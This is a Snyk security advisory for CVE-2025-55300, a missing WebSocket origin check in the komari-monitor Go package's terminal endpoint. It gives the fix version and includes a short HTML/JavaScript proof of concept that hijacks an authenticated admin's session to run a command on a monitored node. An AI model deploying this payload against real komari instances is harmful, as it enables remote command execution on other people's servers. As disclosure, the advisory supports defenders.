Missing Origin Validation in WebSockets Affecting github.com/komari-monitor/komari/ws package, versions <1.0.4-fix2
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-GOLANG-GITHUBCOMKOMARIMONITORKOMARIWS-11787832
- published13 Aug 2025
- disclosed12 Aug 2025
- creditimlonghao
Introduced: 12 Aug 2025
NewCVE-2025-55300 (opens in a new tab)How to fix?
Upgrade github.com/komari-monitor/komari/ws to version 1.0.4-fix2 or higher.
Overview
Affected versions of this package are vulnerable to Missing Origin Validation in WebSockets via the CheckOrigin function in the api/terminal.go file. An attacker can execute arbitrary commands on the target system by tricking an authenticated user into visiting a malicious web page that initiates unauthorized WebSocket connections using the user's credentials.
PoC
- Log in to your komari instance.
- By the HTML code on the internet, replace
<komari-addr>and<target-uuid>with yours. - When you visit the HTML page, you can see your node is executing uptime without your actions.
<pre></pre>
<script>
const socket = new WebSocket("wss://<komari-addr>/api/admin/client/<target-uuid>/terminal");
socket.addEventListener("open", (event) => {
const binaryBlob = new Blob(['uptime\n'], { type: 'application/octet-stream' });
socket.send(binaryBlob);
});
socket.addEventListener("message", (event) => {
event.data.text().then(x => {document.querySelector("pre").append(x)});
});
</script>